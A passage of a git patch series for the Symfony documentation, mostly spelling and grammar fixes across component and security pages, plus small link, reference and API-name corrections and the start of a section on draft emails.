-    or overwritten in a sub-class.
+    or overwritten in a subclass.
 
 A previously set default value can be accessed by adding a second argument to
 the closure::
diff --git a/components/process.rst b/components/process.rst
index 0a53b021c91..d8d585fe987 100644
--- a/components/process.rst
+++ b/components/process.rst
@@ -110,7 +110,7 @@ with a non-zero code)::
 Using Features From the OS Shell
 --------------------------------
 
-Using array of arguments is the recommended way to define commands. This
+Using an array of arguments is the recommended way to define commands. This
 saves you from any escaping and allows sending signals seamlessly
 (e.g. to stop processes while they run)::
 
@@ -325,7 +325,7 @@ provides the :class:`Symfony\\Component\\Process\\InputStream` class::
     echo $process->getOutput();
 
 The :method:`Symfony\\Component\\Process\\InputStream::write` method accepts scalars,
-stream resources or ``Traversable`` objects as argument. As shown in the above example,
+stream resources or ``Traversable`` objects as arguments. As shown in the above example,
 you need to explicitly call the :method:`Symfony\\Component\\Process\\InputStream::close`
 method when you are done writing to the standard input of the subprocess.
 
diff --git a/components/property_access.rst b/components/property_access.rst
index 285f9d24b83..f9375516cf8 100644
--- a/components/property_access.rst
+++ b/components/property_access.rst
@@ -390,7 +390,7 @@ properties through *adder* and *remover* methods::
 The PropertyAccess component checks for methods called ``add<SingularOfThePropertyName>()``
 and ``remove<SingularOfThePropertyName>()``. Both methods must be defined.
 For instance, in the previous example, the component looks for the ``addChild()``
-and ``removeChild()`` methods to access to the ``children`` property.
+and ``removeChild()`` methods to access the ``children`` property.
 `The Inflector component`_ is used to find the singular of a property name.
 
 If available, *adder* and *remover* methods have priority over a *setter* method.
diff --git a/components/property_info.rst b/components/property_info.rst
index d8e3a693b12..8d86663c140 100644
--- a/components/property_info.rst
+++ b/components/property_info.rst
@@ -208,7 +208,7 @@ strings::
         Example Result
         --------------
         string(79):
-            These is the subsequent paragraph in the DocComment.
+            This is the subsequent paragraph in the DocComment.
             It can span multiple lines.
     */
 
diff --git a/components/serializer.rst b/components/serializer.rst
index 3e7da6c8b0b..b36f61fba0a 100644
--- a/components/serializer.rst
+++ b/components/serializer.rst
@@ -515,7 +515,7 @@ and :class:`Symfony\\Component\\Serializer\\Normalizer\\PropertyNormalizer`::
 
     You can also implement
     :class:`Symfony\\Component\\Serializer\\NameConverter\\AdvancedNameConverterInterface`
-    to access to the current class name, format and context.
+    to access the current class name, format and context.
 
 .. _using-camelized-method-names-for-underscored-attributes:
 
@@ -882,7 +882,7 @@ Option                  Description                                            D
                         and ``$options = ['csv_headers' => ['a', 'b', 'c']]``
                         then ``serialize($data, 'csv', $options)`` returns
                         ``a,b,c\n1,2,3``                                       ``[]``, inferred from input data's keys
-``csv_escape_formulas`` Escapes fields containg formulas by prepending them    ``false``
+``csv_escape_formulas`` Escapes fields containing formulas by prepending them    ``false``
                         with a ``\t`` character
 ``as_collection``       Always returns results as a collection, even if only   ``true``
                         one line is decoded.
diff --git a/components/var_exporter.rst b/components/var_exporter.rst
index 2e9ab500169..59f5ec64fab 100644
--- a/components/var_exporter.rst
+++ b/components/var_exporter.rst
@@ -118,7 +118,7 @@ any other methods::
 Instances of ``ArrayObject``, ``ArrayIterator`` and ``SplObjectHash`` can be
 created by using the special ``"\0"`` property name to define their internal value::
 
-    // Creates an SplObjectHash where $info1 is associated to $object1, etc.
+    // Creates an SplObjectHash where $info1 is associated with $object1, etc.
     $theObject = Instantiator::instantiate(SplObjectStorage::class, [
         "\0" => [$object1, $info1, $object2, $info2...],
     ]);

From b7e4ba4a6b2ad4963f9d4abe69ab1bf8c58851d0 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Fri, 17 Dec 2021 17:27:59 +0100
Subject: [PATCH 2880/7107] Restore a reference to a section

---
 best_practices.rst | 2 ++
 1 file changed, 2 insertions(+)

diff --git a/best_practices.rst b/best_practices.rst
index a2af083b73d..3ddb7aa67ac 100644
--- a/best_practices.rst
+++ b/best_practices.rst
@@ -435,6 +435,8 @@ Add this test while creating your application because it requires little effort
 and checks that none of your pages returns an error. Later, you'll add more
 specific tests for each page.
 
+.. _hardcode-urls-in-a-functional-test:
+
 Hard-code URLs in a Functional Test
 ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
 

From 16b1f1bf6a5c151dc29f3e70709719568e36a609 Mon Sep 17 00:00:00 2001
From: gnito-org <70450336+gnito-org@users.noreply.github.com>
Date: Sun, 12 Dec 2021 10:19:27 -0400
Subject: [PATCH 2881/7107] [CLI] Add link in setup.rst to Symfony CLI source
 repo

---
 setup.rst | 5 +++--
 1 file changed, 3 insertions(+), 2 deletions(-)

diff --git a/setup.rst b/setup.rst
index c795feab42e..154ccae9e8b 100644
--- a/setup.rst
+++ b/setup.rst
@@ -39,8 +39,8 @@ requirements. Open your console terminal and run this command:
 
 .. note::
 
-    The Symfony binary is developed internally at Symfony. If you want to
-    report a bug or suggest a new feature, please create an issue on
+    The Symfony CLI source is available at the `Symfony CLI organization repository`_. If
+    you want to report a bug or suggest a new feature, please create an issue on
     `symfony/cli`_.
 
 .. _creating-symfony-applications:
@@ -319,6 +319,7 @@ Learn More
 .. _`Install Composer`: https://getcomposer.org/download/
 .. _`install Symfony CLI`: https://symfony.com/download
 .. _`symfony/cli`: https://github.com/symfony/cli
+.. _`Symfony CLI organization repository`: https://github.com/symfony-cli
 .. _`The Symfony Demo Application`: https://github.com/symfony/demo
 .. _`Symfony Flex`: https://github.com/symfony/flex
 .. _`PHP security advisories database`: https://github.com/FriendsOfPHP/security-advisories

From 1b71f5bc5697bba31d31167c45fb33802d4e3916 Mon Sep 17 00:00:00 2001
From: gnito-org <70450336+gnito-org@users.noreply.github.com>
Date: Fri, 17 Dec 2021 15:01:27 -0400
Subject: [PATCH 2882/7107] Fix issue 16298 - duplicate link

---
 components/console.rst | 1 -
 1 file changed, 1 deletion(-)

diff --git a/components/console.rst b/components/console.rst
index 6a2abe2366e..e8f3f9a7578 100644
--- a/components/console.rst
+++ b/components/console.rst
@@ -63,5 +63,4 @@ Learn more
 
     /console
     /components/console/*
-    /components/console/helpers/index
     /console/*

From 534486b8408cd3874704d11cad1ee2149f2e2317 Mon Sep 17 00:00:00 2001
From: gnito-org <70450336+gnito-org@users.noreply.github.com>
Date: Sat, 18 Dec 2021 08:35:27 -0400
Subject: [PATCH 2883/7107] Correct spelling & grammar in 5.3

---
 cache.rst                         |  4 ++--
 components/browser_kit.rst        |  2 +-
 components/http_foundation.rst    |  4 ++--
 components/lock.rst               |  4 ++--
 components/messenger.rst          |  2 +-
 components/phpunit_bridge.rst     |  2 +-
 components/runtime.rst            |  2 +-
 components/semaphore.rst          |  4 ++--
 components/string.rst             |  2 +-
 components/uid.rst                |  2 +-
 components/var_dumper.rst         |  2 +-
 notifier.rst                      |  6 +++---
 rate_limiter.rst                  | 14 +++++++-------
 security/custom_authenticator.rst |  6 +++---
 security/login_link.rst           |  4 ++--
 security/passwords.rst            |  4 ++--
 security/remember_me.rst          |  4 ++--
 security/user_providers.rst       |  2 +-
 service_container/autowiring.rst  |  2 +-
 testing.rst                       |  2 +-
 validation/custom_constraint.rst  |  4 ++--
 21 files changed, 39 insertions(+), 39 deletions(-)

diff --git a/cache.rst b/cache.rst
index 70c1a863103..9c3ed9ed88e 100644
--- a/cache.rst
+++ b/cache.rst
@@ -800,5 +800,5 @@ Then, register the ``SodiumMarshaller`` service using this key:
 
 When configuring multiple keys, the first key will be used for reading and
 writing, and the additional key(s) will only be used for reading. Once all
-cache items encrypted with the old key have expired, you can remove
-``OLD_CACHE_DECRYPTION_KEY`` completely.
+cache items encrypted with the old key have expired, you can completely remove
+``OLD_CACHE_DECRYPTION_KEY``.
diff --git a/components/browser_kit.rst b/components/browser_kit.rst
index 9648afc31e4..e7c05067185 100644
--- a/components/browser_kit.rst
+++ b/components/browser_kit.rst
@@ -185,7 +185,7 @@ Custom Header Handling
 The optional HTTP headers passed to the ``request()`` method follows the FastCGI
 request format (uppercase, underscores instead of dashes and prefixed with ``HTTP_``).
 Before saving those headers to the request, they are lower-cased, with ``HTTP_``
-stripped, and underscores turned to dashes.
+stripped, and underscores converted into dashes.
 
 If you're making a request to an application that has special rules about header
 capitalization or punctuation, override the ``getHeaders()`` method, which must
diff --git a/components/http_foundation.rst b/components/http_foundation.rst
index 6154119e715..1913f59f818 100644
--- a/components/http_foundation.rst
+++ b/components/http_foundation.rst
@@ -81,7 +81,7 @@ can be accessed via several public properties:
   (``$request->headers->get('User-Agent')``).
 
 Each property is a :class:`Symfony\\Component\\HttpFoundation\\ParameterBag`
-instance (or a sub-class of), which is a data holder class:
+instance (or a subclass of), which is a data holder class:
 
 * ``request``: :class:`Symfony\\Component\\HttpFoundation\\ParameterBag` or
   :class:`Symfony\\Component\\HttpFoundation\\InputBag` if the data is
@@ -726,7 +726,7 @@ The ``JsonResponse`` class sets the ``Content-Type`` header to
 .. caution::
 
     To avoid XSSI `JSON Hijacking`_, you should pass an associative array
-    as the outer-most array to ``JsonResponse`` and not an indexed array so
+    as the outermost array to ``JsonResponse`` and not an indexed array so
     that the final result is an object (e.g. ``{"object": "not inside an array"}``)
     instead of an array (e.g. ``[{"object": "inside an array"}]``). Read
     the `OWASP guidelines`_ for more information.
diff --git a/components/lock.rst b/components/lock.rst
index c10f86d1f3d..8f81b7cce59 100644
--- a/components/lock.rst
+++ b/components/lock.rst
@@ -210,7 +210,7 @@ as seconds) and ``isExpired()`` (which returns a boolean).
 Automatically Releasing The Lock
 ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
 
-Locks are automatically released when their Lock objects are destructed. This is
+Locks are automatically released when their Lock objects are destroyed. This is
 an implementation detail that will be important when sharing Locks between
 processes. In the example below, ``pcntl_fork()`` creates two processes and the
 Lock will be released automatically as soon as one process finishes::
@@ -508,7 +508,7 @@ locks::
     $store = new PostgreSqlStore($databaseConnectionOrDSN);
 
 In opposite to the ``PdoStore``, the ``PostgreSqlStore`` does not need a table to
-store locks and does not expire.
+store locks and it does not expire.
 
 .. versionadded:: 5.2
 
diff --git a/components/messenger.rst b/components/messenger.rst
index 7e1af990db1..2e853f69ab6 100644
--- a/components/messenger.rst
+++ b/components/messenger.rst
@@ -77,7 +77,7 @@ middleware stack. The component comes with a set of middleware that you can use.
 When using the message bus with Symfony's FrameworkBundle, the following middleware
 are configured for you:
 
-#. :class:`Symfony\\Component\\Messenger\\Middleware\\SendMessageMiddleware` (enables asynchronous processing, logs the processing of your messages if you pass a logger)
+#. :class:`Symfony\\Component\\Messenger\\Middleware\\SendMessageMiddleware` (enables asynchronous processing, logs the processing of your messages if you provide a logger)
 #. :class:`Symfony\\Component\\Messenger\\Middleware\\HandleMessageMiddleware` (calls the registered handler(s))
 
 Example::
diff --git a/components/phpunit_bridge.rst b/components/phpunit_bridge.rst
index 7658acba17f..714157d1531 100644
--- a/components/phpunit_bridge.rst
+++ b/components/phpunit_bridge.rst
@@ -295,7 +295,7 @@ Baseline Deprecations
 If your application has some deprecations that you can't fix for some reasons,
 you can tell Symfony to ignore them. The trick is to create a file with the
 allowed deprecations and define it as the "deprecation baseline". Deprecations
-inside that file are ignore but the rest of deprecations are still reported.
+inside that file are ignored but the rest of deprecations are still reported.
 
 First, generate the file with the allowed deprecations (run the same command
 whenever you want to update the existing file):
diff --git a/components/runtime.rst b/components/runtime.rst
index e716ec6eb38..f9d76bff0c5 100644
--- a/components/runtime.rst
+++ b/components/runtime.rst
@@ -383,7 +383,7 @@ application outside of the global state in 6 steps:
    that knows how to "run" the application object.
 #. The ``RunnerInterface::run(object $application)`` is called and it returns the
    exit status code as `int`.
-#. The PHP engine is exited with this status code.
+#. The PHP engine is terminated with this status code.
 
 When creating a new runtime, there are two things to consider: First, what arguments
 will the end user use? Second, what will the user's application look like?
diff --git a/components/semaphore.rst b/components/semaphore.rst
index ebae3df89e8..810d12f76d2 100644
--- a/components/semaphore.rst
+++ b/components/semaphore.rst
@@ -45,7 +45,7 @@ class, which in turn requires another class to manage the storage::
 The semaphore is created by calling the
 :method:`Symfony\\Component\\Semaphore\\SemaphoreFactory::createSemaphore`
 method. Its first argument is an arbitrary string that represents the locked
-resource. Its second argument is the maximum number of process allowed. Then, a
+resource. Its second argument is the maximum number of processes allowed. Then, a
 call to the :method:`Symfony\\Component\\Semaphore\\SemaphoreInterface::acquire`
 method will try to acquire the semaphore::
 
@@ -54,7 +54,7 @@ method will try to acquire the semaphore::
 
     if ($semaphore->acquire()) {
         // The resource "pdf-invoice-generation" is locked.
-        // You can compute and generate invoice safely here.
+        // Here you can safely compute and generate the invoice.
 
         $semaphore->release();
     }
diff --git a/components/string.rst b/components/string.rst
index 48f17f0b3e9..f754bfdb7ea 100644
--- a/components/string.rst
+++ b/components/string.rst
@@ -36,7 +36,7 @@ However, other languages require thousands of symbols to display their contents.
 They need complex encoding standards such as `Unicode`_ and concepts like
 "character" no longer make sense. Instead, you have to deal with these terms:
 
-* `Code points`_: they are the atomic unit of information. A string is a series
+* `Code points`_: they are the atomic units of information. A string is a series
   of code points. Each code point is a number whose meaning is given by the
   `Unicode`_ standard. For example, the English letter ``A`` is the ``U+0041``
   code point and the Japanese *kana* ``の`` is the ``U+306E`` code point.
diff --git a/components/uid.rst b/components/uid.rst
index d6b3692be45..c0fdb8822e3 100644
--- a/components/uid.rst
+++ b/components/uid.rst
@@ -331,7 +331,7 @@ type, which converts to/from ULID objects automatically::
         // ...
     }
 
-There's also a Doctrine generator to help autogenerate ULID values for the
+There's also a Doctrine generator to help auto-generate ULID values for the
 entity primary keys::
 
     use Symfony\Bridge\Doctrine\IdGenerator\UlidGenerator;
diff --git a/components/var_dumper.rst b/components/var_dumper.rst
index b661bd7a44a..fc64d5607b7 100644
--- a/components/var_dumper.rst
+++ b/components/var_dumper.rst
@@ -258,7 +258,7 @@ option. Read more about this and other options in
     finished, press ``Esc.`` to hide the box again.
 
     If you want to use your browser search input, press ``Ctrl. + F`` or
-    ``Cmd. + F`` again while having focus on VarDumper's search input.
+    ``Cmd. + F`` again while focusing on VarDumper's search input.
 
 Using the VarDumper Component in your PHPUnit Test Suite
 --------------------------------------------------------
diff --git a/notifier.rst b/notifier.rst
index 0280a04f8ad..7d12e04386f 100644
--- a/notifier.rst
+++ b/notifier.rst
@@ -39,7 +39,7 @@ The notifier component supports the following channels:
 
 .. tip::
 
-    Use :doc:`secrets </configuration/secrets>` to securily store your
+    Use :doc:`secrets </configuration/secrets>` to securely store your
     API's tokens.
 
 .. _notifier-sms-channel:
@@ -422,10 +422,10 @@ Symfony provides the following recipients:
 :class:`Symfony\\Component\\Notifier\\Recipient\\NoRecipient`
     This is the default and is useful when there is no need to have
     information about the receiver. For example, the browser channel uses
-    the current requests's :ref:`session flashbag <flash-messages>`;
+    the current requests' :ref:`session flashbag <flash-messages>`;
 
 :class:`Symfony\\Component\\Notifier\\Recipient\\Recipient`
-    This can contain both email address and phonenumber of the user. This
+    This can contain both the email address and the phone number of the user. This
     recipient can be used for all channels (depending on whether they are
     actually set).
 
diff --git a/rate_limiter.rst b/rate_limiter.rst
index 4f2d20b2b18..676d16f0a99 100644
--- a/rate_limiter.rst
+++ b/rate_limiter.rst
@@ -50,7 +50,7 @@ squares).
 
 Its main drawback is that resource usage is not evenly distributed in time and
 it can overload the server at the window edges. In the previous example,
-there are 6 accepted requests between 11:00 and 12:00.
+there were 6 accepted requests between 11:00 and 12:00.
 
 This is more significant with bigger limits. For instance, with 5,000 requests
 per hour, a user could make the 4,999 requests in the last minute of some
@@ -80,15 +80,15 @@ the previous hour and 500 requests this hour. 15 minutes in to the current hour
 (25% of the window) the hit count would be calculated as: 75% * 4,000 + 500 = 3,500.
 At this point in time the user can only do 1,500 more requests.
 
-The math shows that the closer the last window is, the more will the hit count
-of the last window effect the current limit. This will make sure that a user can
-do 5,000 requests per hour but only if they are spread out evenly.
+The math shows that the closer the last window is, the more the hit count
+of the last window will affect the current limit. This will make sure that a user can
+do 5,000 requests per hour but only if they are evenly spread out.
 
 Token Bucket Rate Limiter
 ~~~~~~~~~~~~~~~~~~~~~~~~~
 
-This technique implements the `token bucket algorithm`_, which defines a
-continuously updating budget of resource usage. It roughly works like this:
+This technique implements the `token bucket algorithm`_, which defines
+continuously updating the budget of resource usage. It roughly works like this:
 
 * A bucket is created with an initial set of tokens;
 * A new token is added to the bucket with a predefined frequency (e.g. every second);
@@ -103,7 +103,7 @@ of 1 token per 15 minutes:
 
     <object data="_images/rate_limiter/token_bucket.svg" type="image/svg+xml"></object>
 
-This algorithm handles more complex back-off algorithm to manage bursts.
+This algorithm handles more complex back-off burst management.
 For instance, it can allow a user to try a password 5 times and then only
 allow 1 every 15 minutes (unless the user waits 75 minutes and they will be
 allowed 5 tries again).
diff --git a/security/custom_authenticator.rst b/security/custom_authenticator.rst
index 03f5820cec3..cd18e7bbd81 100644
--- a/security/custom_authenticator.rst
+++ b/security/custom_authenticator.rst
@@ -4,7 +4,7 @@ How to Write a Custom Authenticator
 Symfony comes with :ref:`many authenticators <security-authenticators>` and
 third party bundles also implement more complex cases like JWT and oAuth
 2.0. However, sometimes you need to implement a custom authentication
-mechanism that doesn't exists yet or you need to customize one. In such
+mechanism that doesn't exist yet or you need to customize one. In such
 cases, you must create and use your own authenticator.
 
 Authenticators should implement the
@@ -133,7 +133,7 @@ The authenticator can be enabled using the ``custom_authenticators`` setting:
 .. versionadded:: 5.2
 
     Starting with Symfony 5.2, the custom authenticator is automatically
-    registered as entry point if it implements ``AuthenticationEntryPointInterface``.
+    registered as an entry point if it implements ``AuthenticationEntryPointInterface``.
 
     Prior to 5.2, you had to configure the entry point separately using the
     ``entry_point`` option. Read :doc:`/security/entry_point` for more
@@ -171,7 +171,7 @@ can define what happens in these cases:
 
     **Caution**: Never use ``$exception->getMessage()`` for ``AuthenticationException``
     instances. This message might contain sensitive information that you
-    don't want to expose publicly. Instead, use ``$exception->getMessageKey()``
+    don't want to be publicly exposed. Instead, use ``$exception->getMessageKey()``
     and ``$exception->getMessageData()`` like shown in the full example
     above. Use :class:`Symfony\\Component\\Security\\Core\\Exception\\CustomUserMessageAuthenticationException`
     if you want to set custom error messages.
diff --git a/security/login_link.rst b/security/login_link.rst
index 86406f9b316..045c9a7963f 100644
--- a/security/login_link.rst
+++ b/security/login_link.rst
@@ -219,7 +219,7 @@ this interface::
     </form>
     {% endblock %}
 
-In this controller, the user is submitting their e-mail address to the
+In this controller, the user is submitting their email address to the
 controller. Based on this property, the correct user is loaded and a login
 link is created using
 :method:`Symfony\\Component\\Security\\Http\\LoginLink\\LoginLinkHandlerInterface::createLoginLink`.
@@ -235,7 +235,7 @@ link is created using
 3) Send the Login Link to the User
 ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
 
-Now the link is created, it needs to be send to the user. Anyone with the
+Now the link is created, it needs to be sent to the user. Anyone with the
 link is able to login as this user, so you need to make sure to send it to
 a known device of them (e.g. using e-mail or SMS).
 
diff --git a/security/passwords.rst b/security/passwords.rst
index 521be799277..7f1f5b605b8 100644
--- a/security/passwords.rst
+++ b/security/passwords.rst
@@ -448,7 +448,7 @@ password should be stored:
 * :ref:`When using Doctrine's entity user provider <upgrade-the-password-doctrine>`
 * :ref:`When using a custom user provider <upgrade-the-password-custom-provider>`
 
-After this, you're done and passwords are always hashed as secure as possible!
+After this, you're done and passwords are always hashed as securely as possible!
 
 .. note::
 
@@ -755,7 +755,7 @@ The Sodium Password Hasher
 ~~~~~~~~~~~~~~~~~~~~~~~~~~
 
 It uses the `Argon2 key derivation function`_. Argon2 support was introduced
-in PHP 7.2 by bundeling the `libsodium`_ extension.
+in PHP 7.2 by bundling the `libsodium`_ extension.
 
 The hashed passwords are ``96`` characters long, but due to the hashing
 requirements saved in the resulting hash this may change in the future, so make
diff --git a/security/remember_me.rst b/security/remember_me.rst
index b14b012202f..f9fd2e62dab 100644
--- a/security/remember_me.rst
+++ b/security/remember_me.rst
@@ -135,7 +135,7 @@ The ``remember_me`` firewall defines the following configuration options:
 
 ``service`` (default value: ``null``)
     Defines the ID of the service used to handle the Remember Me feature. It's
-    useful if you need to overwrite the current behavior entirely.
+    useful if you need to overwrite the current behavior.
 
     .. versionadded:: 5.1
 
@@ -204,7 +204,7 @@ users to change their password. You can do this by leveraging a few special
 
 .. tip::
 
-    There is also a ``IS_REMEMBERED`` attribute that grants *only* when the
+    There is also a ``IS_REMEMBERED`` attribute that grants access *only* when the
     user is authenticated via the remember me mechanism.
 
 .. versionadded:: 5.1
diff --git a/security/user_providers.rst b/security/user_providers.rst
index 5d3be052121..07212acbf0b 100644
--- a/security/user_providers.rst
+++ b/security/user_providers.rst
@@ -104,7 +104,7 @@ Using a Custom Query to Load the User
 The entity provider can only query from one *specific* field, specified by
 the ``property`` config key. If you want a bit more control over this - e.g. you
 want to find a user by ``email`` *or* ``username``, you can do that by
-implenting :class:`Symfony\\Bridge\\Doctrine\\Security\\User\\UserLoaderInterface`
+implementing :class:`Symfony\\Bridge\\Doctrine\\Security\\User\\UserLoaderInterface`
 in your :ref:`Doctrine repository <doctrine-queries>` (e.g. ``UserRepository``)::
 
     // src/Repository/UserRepository.php
diff --git a/service_container/autowiring.rst b/service_container/autowiring.rst
index a7407f51b1d..aa5d25ad83b 100644
--- a/service_container/autowiring.rst
+++ b/service_container/autowiring.rst
@@ -611,7 +611,7 @@ you can use the ``@required`` annotation instead.
 
     The ``#[Required]`` attribute was introduced in Symfony 5.2.
 
-Despite property injection has some :ref:`drawbacks <property-injection>`,
+Despite property injection having some :ref:`drawbacks <property-injection>`,
 autowiring with ``#[Required]`` or ``@required`` can also be applied to public
 typed properties:
 
diff --git a/testing.rst b/testing.rst
index 5390b7aefd8..4147ab361a0 100644
--- a/testing.rst
+++ b/testing.rst
@@ -583,7 +583,7 @@ Logging in Users (Authentication)
 
 When you want to add application tests for protected pages, you have to
 first "login" as a user. Reproducing the actual steps - such as
-submitting a login form - make a test very slow. For this reason, Symfony
+submitting a login form - makes a test very slow. For this reason, Symfony
 provides a ``loginUser()`` method to simulate logging in in your functional
 tests.
 
diff --git a/validation/custom_constraint.rst b/validation/custom_constraint.rst
index f462c773e74..41753fc02c0 100644
--- a/validation/custom_constraint.rst
+++ b/validation/custom_constraint.rst
@@ -232,8 +232,8 @@ with the necessary ``validator.constraint_validator``. This means you can
 Create a Reusable Set of Constraints
 ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
 
-In case you need to apply some common set of constraints in different places
-consistently across your application, you can extend the :doc:`Compound constraint </reference/constraints/Compound>`.
+In case you need to consistently apply a common set of constraints
+across your application, you can extend the :doc:`Compound constraint </reference/constraints/Compound>`.
 
 .. versionadded:: 5.1
 

From 11481a2bc15fad0b2f316c95a09659e30c769f8a Mon Sep 17 00:00:00 2001
From: Ippei Sumida <ippey.s@gmail.com>
Date: Sat, 18 Dec 2021 08:29:00 +0900
Subject: [PATCH 2884/7107] Change "createAuthenticatedToken" to "createToken"

---
 security/custom_authenticator.rst | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/security/custom_authenticator.rst b/security/custom_authenticator.rst
index e936ba27493..0ca4913b247 100644
--- a/security/custom_authenticator.rst
+++ b/security/custom_authenticator.rst
@@ -11,7 +11,7 @@ Authenticators should implement the
 :class:`Symfony\\Component\\Security\\Http\\Authenticator\\AuthenticatorInterface`.
 You can also extend
 :class:`Symfony\\Component\\Security\\Http\\Authenticator\\AbstractAuthenticator`,
-which has a default implementation for the ``createAuthenticatedToken()``
+which has a default implementation for the ``createToken()``
 method that fits most use-cases::
 
     // src/Security/ApiKeyAuthenticator.php
@@ -347,7 +347,7 @@ would initialize the passport like this::
     Besides badges, passports can define attributes, which allows the
     ``authenticate()`` method to store arbitrary information in the
     passport to access it from other authenticator methods (e.g.
-    ``createAuthenticatedToken()``)::
+    ``createToken()``)::
 
         // ...
         use Symfony\Component\Security\Http\Authenticator\Passport\Badge\UserBadge;

From 2778bc3c86d186dd5d229b7fd4ec4748e9fa920e Mon Sep 17 00:00:00 2001
From: gnito-org <70450336+gnito-org@users.noreply.github.com>
Date: Mon, 20 Dec 2021 07:58:13 -0400
Subject: [PATCH 2885/7107] Fix minor spelling and grammar issues in 5.4

---
 components/security/authorization.rst | 10 +++++-----
 console/style.rst                     |  2 +-
 mailer.rst                            |  2 +-
 messenger.rst                         |  6 +++---
 serializer.rst                        |  4 ++--
 testing.rst                           |  4 ++--
 6 files changed, 14 insertions(+), 14 deletions(-)

diff --git a/components/security/authorization.rst b/components/security/authorization.rst
index 3effc3d0794..5444b5254c2 100644
--- a/components/security/authorization.rst
+++ b/components/security/authorization.rst
@@ -67,15 +67,15 @@ Strategies
 The following strategies are bundled with the component:
 
 ``AffirmativeStrategy`` (default)
-    grant access as soon as there is one voter granting access;
+    grants access as soon as there is one voter granting access;
 
 ``ConsensusStrategy``
-    grant access if there are more voters granting access than there are denying;
+    grants access if there are more voters granting access than there are denying;
     if there is a draw between votes, the decision is made based on the
     ``$allowIfEqualGrantedDeniedDecisions`` constructor parameter which defaults to ``true``.
 
 ``UnanimousStrategy``
-    only grant access if none of the voters has denied access.
+    only grants access if none of the voters has denied access.
 
 ``PriorityStrategy``
     grants or denies access by the first voter that does not abstain;
@@ -85,10 +85,10 @@ The following strategies are bundled with the component:
         The "priority" version strategy was introduced in Symfony 5.1.
 
 If all voters abstained from voting, the decision is based on the ``$allowIfAllAbstainDecisions``
-constructor parameter which is supported by all of the built-in strategies and defaults to ``false``.
+constructor parameter which is supported by all the built-in strategies and defaults to ``false``.
 
 If none of the built-in strategies seem to fit, a custom strategy may be provided. The strategy will
-receive a stream of votes and may return as soon as it has seen enough votes to come to a conclusion.
+receive a stream of votes and may return as soon as it has seen enough votes to reach a conclusion.
 
 ::
 
diff --git a/console/style.rst b/console/style.rst
index 33f1ff59cc5..4a10639aee6 100644
--- a/console/style.rst
+++ b/console/style.rst
@@ -168,7 +168,7 @@ Content Methods
 :method:`Symfony\\Component\\Console\\Style\\SymfonyStyle::createTable`
     Creates an instance of :class:`Symfony\\Component\\Console\\Helper\\Table`
     styled according to the Symfony Style Guide, which allows you to use
-    features such as appending rows dynamically.
+    features such as dynamically appending rows.
 
 .. versionadded:: 5.4
 
diff --git a/mailer.rst b/mailer.rst
index 66a64159c22..dc7c3249669 100644
--- a/mailer.rst
+++ b/mailer.rst
@@ -189,7 +189,7 @@ OhMySMTP             ohmysmtp+smtp://API_TOKEN@default                    n/a
 
 .. caution::
 
-    If you want to use ``ses+smtp`` transport together with :doc:`Messenger </messenger>`
+    If you want to use the ``ses+smtp`` transport together with :doc:`Messenger </messenger>`
     to :ref:`send messages in background <mailer-sending-messages-async>`,
     you need to add the ``ping_threshold`` parameter to your ``MAILER_DSN`` with
     a value lower than ``10``: ``ses+smtp://USERNAME:PASSWORD@default?ping_threshold=9``
diff --git a/messenger.rst b/messenger.rst
index e2565fab518..5761deac446 100644
--- a/messenger.rst
+++ b/messenger.rst
@@ -706,9 +706,9 @@ PHP is designed to be stateless, there are no shared resources across different
 requests. In HTTP context PHP cleans everything after sending the response, so
 you can decide to not take care of services that may leak memory.
 
-On the other hand, workers usually run in long-running CLI processes, which don't
-finish after processing a message. That's why you need to be careful about services
-state to not leak information and/or memory from one message to another message.
+On the other hand, workers usually sequentially process messages in long-running CLI processes, which don't
+finish after processing a single message. That's why you must be careful about service
+states to prevent information and/or memory leakage.
 
 However, certain Symfony services, such as the Monolog
 :ref:`fingers crossed handler <logging-handler-fingers_crossed>`, leak by design.
diff --git a/serializer.rst b/serializer.rst
index 92250d2f5a9..1d47e7a2de2 100644
--- a/serializer.rst
+++ b/serializer.rst
@@ -151,7 +151,7 @@ properties and setters (``setXxx()``) to change properties:
 Serializer Context
 ------------------
 
-The serializer can define a context to control how the (de)serialization of
+The serializer can define a context to control the (de)serialization of
 resources. This context is passed to all normalizers. For example:
 
 * :class:`Symfony\\Component\\Serializer\\Normalizer\\DateTimeNormalizer` uses
@@ -165,7 +165,7 @@ resources. This context is passed to all normalizers. For example:
     The usage of the ``empty_array_as_object`` option by default in the
     Serializer was introduced in Symfony 5.4.
 
-You can pass the context like following::
+You can pass the context as follows::
 
     $serializer->serialize($something, 'json', [
         DateTimeNormalizer::FORMAT_KEY => 'Y-m-d H:i:s',
diff --git a/testing.rst b/testing.rst
index 5ff21c1fb95..91a8bd3fa25 100644
--- a/testing.rst
+++ b/testing.rst
@@ -929,8 +929,8 @@ Browser Assertions
     Asserts the given cookie in the test Client is set to the expected
     value.
 ``assertThatForClient(Constraint $constraint, string $message = '')``
-    Asserts the given Constraint in the Client. Useful to use your custom asserts
-    in the same way of built-in asserts (i.e. without passing the Client as argument)::
+    Asserts the given Constraint in the Client. Useful for using your custom asserts
+    in the same way as built-in asserts (i.e. without passing the Client as argument)::
 
         // add this method in some custom class imported in your tests
         protected static function assertMyOwnCustomAssert(): void

From bb3eb5b58e38448f9c6a199bb70ac72d3163830d Mon Sep 17 00:00:00 2001
From: Kevin Bond <kevinbond@gmail.com>
Date: Wed, 22 Dec 2021 08:53:24 -0500
Subject: [PATCH 2886/7107] [Mime][Mailer] add DraftEmail documentation

---
 mailer.rst | 51 +++++++++++++++++++++++++++++++++++++++++++++++++++
 1 file changed, 51 insertions(+)

diff --git a/mailer.rst b/mailer.rst
index a258bc0f141..f650bf01340 100644
--- a/mailer.rst
+++ b/mailer.rst
@@ -1266,6 +1266,57 @@ The following transports only support tags:
 
 * OhMySMTP
 
+Draft Emails
+------------
+
+.. versionadded:: 6.1
+
+    ``Symfony\Component\Mime\DraftEmail`` was introduced in 6.1.
+
+:class:`Symfony\\Component\\Mime\\DraftEmail` is a special instance of
+:class:`Symfony\\Component\\Mime\\Email`. Its purpose is to build up an email
+(with body, attachments, etc) and make available to download as an ``.eml`` with
